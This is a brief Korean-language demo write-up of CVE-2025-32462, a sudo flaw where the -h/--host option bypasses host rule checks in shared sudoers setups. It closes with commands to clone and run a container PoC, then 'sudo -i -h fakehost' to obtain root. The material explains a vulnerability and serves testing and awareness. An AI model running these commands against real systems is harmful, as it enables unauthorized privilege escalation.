
cve-2025-32462' 데모

sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub
sudo -h(--host) 문서에는 -h가 -l하고만 함께 사용할 수 있다고 적혀 있다. 이후 업데이트에서 sudo -h를 -e, -i 등과 함께 사용할 수 있게 되었다.
sudo --host(-h) <username> -l(--list)
/etc/sudoer.d는 시스템에서 사용자가 어떤 권한을 가지고 있는지 확인하는 데 사용된다. 이 권한은 우회될 수 있으며, 사용자가 한 시스템에서 가진 권한을 다른 시스템에서 가질 수 있는 권한으로 승격시킬 수 있다. 이는 여러 컴퓨터 간에 단일 sudoers 구성 파일을 공유하거나 LDAP과 같은 네트워크 기반 사용자 디렉터리를 통해 시스템 sudoers 규칙을 제공하는 환경에서 특히 영향을 미친다.
요약하자면, sudo의 h/--host 옵션은 최소 권한 원칙을 따르지 않으며, -l이 아닌 시나리오(예: 명령 실행)에서는 호스트 규칙 경계를 검증하지 않는다. 공격자는 /etc/sudoer.d 파일에 악의적인 규칙을 구성할 수 있다.
주로 여러 머신에서 동일한 sudoers 파일을 사용하는 시스템 관리자의 시스템에 영향을 미친다.
취약점 공격은 두 가지 요건을 충족해야 한다.
공격자가 검증된 사용자를 확보해야 함
시스템이 기본 구성이 아니며, sudoers 파일에 존재하는 추가 규칙에 의존해야 함
예시:
sudoers 파일에 해당 사용자가 서로 다른 시스템에서 가진 권한을 정의하는 규칙이 포함되어 있다.
Alice hostA: some Privilege
Bob hostB: some Privilege
Bob이 hostA에 로그인한 후 sudo -h hostB commandA 명령을 실행한다.
git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# after entering the contain Ubuntu
sudo -l
# then prompt you to enter your password, but "we" don't know.
sudo -l -h fakehost # Check the permissions user ubuntu have in host named fakehost
sudo -i -h fakehost # get root